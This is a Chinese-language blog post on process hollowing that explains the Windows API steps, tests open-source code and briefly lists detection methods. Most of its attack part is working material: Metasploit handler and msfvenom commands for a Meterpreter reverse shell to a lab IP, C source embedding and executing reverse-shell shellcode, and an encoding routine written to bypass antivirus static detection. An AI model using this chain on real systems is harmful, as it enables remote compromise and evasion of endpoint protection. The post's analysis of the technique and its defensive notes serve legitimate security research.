傀儡进程的实现与检测

发布于 2025-01-11 05:33:00 字数 10468 浏览 4 评论 0

0x00 前言

最近在安全动态推送中看到了一篇文章《RunPE: How to hide code behind a legit process》,介绍了将恶意代码注于已知进程的方法

文章发布于 2015 年 6 月,虽然作者未公布完整的实现代码,但介绍了实现思路,本文将结合自己的心得做进一步介绍,测试开源实现代码,介绍防御方法。

文章地址:https://www.adlice.com/runpe-hide-code-behind-legit-process/

0x01 简介

本文将要介绍以下内容:

  • 实现原理
  • 开源代码测试
  • 优化思路
  • 防御检测

0x02 实现原理

这个利用方法至少在 2005 以前就存在,国内常常把该方法称为"傀儡进程的创建"

实现思路:

  1. 通过 CreateProcess 创建进程,传入参数 CREATE_SUSPENDED 使进程挂起
  2. 通过 NtUnmapViewOfSection 清空新进程的内存数据
  3. 通过 VirtualAllocEx 申请新的内存
  4. 通过 WriteProcessMemory 向内存写入 payload
  5. 通过 SetThreadContext 设置入口点
  6. 通过 ResumeThread 唤醒进程,执行 payload

在具体实现上,还需要考虑以下问题:

1、傀儡进程的选择

如果傀儡进程已经运行,那么将无法实现替换(指针不可控、无法获得主线程句柄等)

所以这种利用方法只能通过创建新进程,传入参数 CREATE_SUSPENDED 使进程挂起,在进程执行前对其替换

2、清空新进程的内存数据

进程初始化后,内存会加载映像文件,为了清空新进程的内存数据,可以使用函数 NtUnmapViewOfSection 卸载映像

函数 NtUnmapViewOfSection 需要从 ntdll.dll 获得,调用代码如下:

FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
_NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
DWORD dwResult = NtUnmapViewOfSection(pProcessInfo->hProcess, pPEB->ImageBaseAddress);

注:NtUnmapViewOfSection 还能用来结束进程

3、申请新的内存

使用 VirtualAllocEx 函数时,可以将傀儡进程的 ImageBaseAddress 作为申请空间的首地址,这样可以避免考虑“重定位”的问题

4、写入 payload

写入时,需要先比较 payload 和傀儡进程的 ImageBaseAddress 之间的偏移,如果存在偏移,需要进行重定位(使用.reloc 区段)

5、恢复环境

替换前后需要保证寄存器正常,所以仅需要修改进程的入口点(即 EAX 寄存器)

通过 GetThreadContext 获得所有寄存器的信息(保存在结构体_CONTEXT 中)

_CONTEXT 的定义位于 winnt.h,具体内容如下:

typedef struct _CONTEXT {
//
// The flags values within this flag control the contents of
// a CONTEXT record.
//
// If the context record is used as an input parameter, then
// for each portion of the context record controlled by a flag
// whose value is set, it is assumed that that portion of the
// context record contains valid context. If the context record
// is being used to modify a threads context, then only that
// portion of the threads context will be modified.
//
// If the context record is used as an IN OUT parameter to capture
// the context of a thread, then only those portions of the thread's
// context corresponding to set flags will be returned.
//
// The context record is never used as an OUT only parameter.
//
DWORD ContextFlags;
//
// This section is specified/returned if CONTEXT_DEBUG_REGISTERS is
// set in ContextFlags.  Note that CONTEXT_DEBUG_REGISTERS is NOT
// included in CONTEXT_FULL.
//
DWORD   Dr0;
DWORD   Dr1;
DWORD   Dr2;
DWORD   Dr3;
DWORD   Dr6;
DWORD   Dr7;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_FLOATING_POINT.
//
FLOATING_SAVE_AREA FloatSave;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_SEGMENTS.
//
DWORD   SegGs;
DWORD   SegFs;
DWORD   SegEs;
DWORD   SegDs;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_INTEGER.
//
DWORD   Edi;
DWORD   Esi;
DWORD   Ebx;
DWORD   Edx;
DWORD   Ecx;
DWORD   Eax;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_CONTROL.
//
DWORD   Ebp;
DWORD   Eip;
DWORD   SegCs;              // MUST BE SANITIZED
DWORD   EFlags;             // MUST BE SANITIZED
DWORD   Esp;
DWORD   SegSs;
//
// This section is specified/returned if the ContextFlags word
// contains the flag CONTEXT_EXTENDED_REGISTERS.
// The format and contexts are processor specific
//
BYTE    ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
> } CONTEXT;

将寄存器 EAX 的值设置为起始地址,代码如下:

pContext->Eax = (DWORD)pPEB->ImageBaseAddress + pSourceHeaders->OptionalHeader.AddressOfEntryPoint;

接着利用 SetThreadContext 写入,修改入口点

通过 ResumeThread 唤醒进程,即可执行 payload

0x03 开源代码测试

实现傀儡进程的公开代码有很多,这里给出一个参考地址:http://code.google.com/p/process-hollowing/downloads/list

该工程的说明文档地址:http://www.autosectools.com/process-hollowing.pdf

测试如下图

Alt text

如果需要查看内存数据,可以使用 https://www.adlice.com/runpe-hide-code-behind-legit-process/中使用的工具:Process Hacker

参照上图的输出数据,image base 为 0x00B90000

查看新进程 0x00B90000 的数据,已经被成功替换为 payload

如下图

Alt text

继续下面的测试,参照源代码,修改 payload 为执行 shellcode 格式的 Meterpreter

server:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.81.192
set LPORT 4444
exploit

Clinet:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.81.192 LPORT=4444 -f c

or

use windows/shell/reverse_tcp
set LHOST 192.168.81.192
generate -t c

选择 stage 1(281 bytes) 即可

生成 shellcode 后,HelloWorld 工程实现执行 shellcode 功能的源代码如下:

#include <windows.h>
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
    unsigned char shellcode1[] =  
        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
        "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
        "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
        "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
        "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
        "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
        "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
        "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
        "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
        "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
        "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
        "\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x51\xc0\x68\x02"
        "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
        "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
        "\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
        "\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
        "\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
        "\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
        "\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";

    typedef void (__stdcall *CODE) ();    
    PVOID p = NULL;    
    if ((p = VirtualAlloc(NULL, sizeof(shellcode1), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)   
        MessageBoxA(NULL, "error", "VirtualAlloc", MB_OK);    
    if (!(memcpy(p, shellcode1, sizeof(shellcode1))))    
        MessageBoxA(NULL, "error", "memcpy", MB_OK);    
    CODE code =(CODE)p;       
    code(); 

    return 0;
}

执行 ProcessHollowing.exe,加载 HelloWorld.exe,弹回 shell,如下图

Alt text

由于使用了 Meterpreter,HelloWorld.exe 会被杀毒软件静态查杀,这里做一个简单的加解密即可绕过

对 HelloWorld.exe 逐字符作 0x33 加,源代码如下:

#include <windows.h>

char *SoucePath = "c:\\1\\HelloWorld.exe";
char *DesPath = "c:\\1\\test\\HelloWorld.exe";

int _tmain(int argc, _TCHAR* argv[])
{
    HANDLE hFile = CreateFileA
    (
        SoucePath,
        GENERIC_READ, 
        0, 
        0, 
        OPEN_ALWAYS, 
        0, 
        0
    );
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Open file error\n");
        return 0;
    }
    DWORD dwSize = GetFileSize(hFile, 0);
    PBYTE pBuffer = new BYTE[dwSize];
    DWORD dwBytesRead = 0;
    ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);
    PBYTE pBuffer2 = new BYTE[dwSize];
    PBYTE pBuffer3 = new BYTE[dwSize];
    for(DWORD i=0;i<dwSize;i++)
    {
        pBuffer2[i]=pBuffer[i]+0x33;
    }
/*
    for(DWORD i=0;i<dwSize;i++)
    {
        pBuffer3[i]=pBuffer2[i]-0x33;
    }       
*/  
    HANDLE hFile2 = CreateFileA
    (
        DesPath,
        GENERIC_WRITE, 
        0, 
        0, 
        CREATE_ALWAYS, 
        FILE_ATTRIBUTE_NORMAL, 
        0
    );
    if (hFile2 == INVALID_HANDLE_VALUE)
    {
        printf("Create file error\n");
        CloseHandle(hFile2);
        return 0;
    }
    WriteFile(hFile2,pBuffer2,dwSize,&dwSize,NULL);
    CloseHandle(hFile2);
    return 0;
}

输出新的加密文件 HelloWorld.exe,不会被静态查杀

ProcessHollowing 工程添加一个解密操作,逐字符作 0x33 减,关键代码如下:

DWORD dwSize = GetFileSize(hFile, 0);
PBYTE pBuffer = new BYTE[dwSize];
PBYTE pBuffer2 = new BYTE[dwSize];
DWORD dwBytesRead = 0;
ReadFile(hFile, pBuffer2, dwSize, &dwBytesRead, 0);
for(DWORD i=0;i<dwSize;i++)
{
    pBuffer[i]=pBuffer2[i]-0x33;
}

至此,完成静态查杀的绕过

注:ProcessHollowing.exe 行为拦截的绕过,本文暂不介绍

0x04 防御检测

这种傀儡进程的利用,由于最开始创建了正常的进程,因此欺骗性很高

例如创建傀儡进程 calc.exe,进程的图标和描述都是正常的 calc.exe,数字签名也正常

如下图

Alt text

防御方法:

  1. 使用杀毒软件,拦截函数 SetThreadContext
  2. 参考原文给出的建议,使用 RogueKiller,对比 PE 文件在本地和内存之间是否有区别

RogueKiller 下载地址:https://www.adlice.com/download/roguekiller/

检测如下图

Alt text

0x05 小结

本文站在技术研究的角度,介绍了“傀儡进程”实现的原理,测试开源代码,给出防御检测的方法。虽然是很古老的技术,但其中的技术细节值得掌握。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

离去的眼神

暂无简介

文章
评论
495 人气
更多

推荐作者

迎风吟唱

文章 0 评论 0

qq_hXErI

文章 0 评论 0

茶底世界

文章 0 评论 0

捎一片雪花

文章 0 评论 0

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文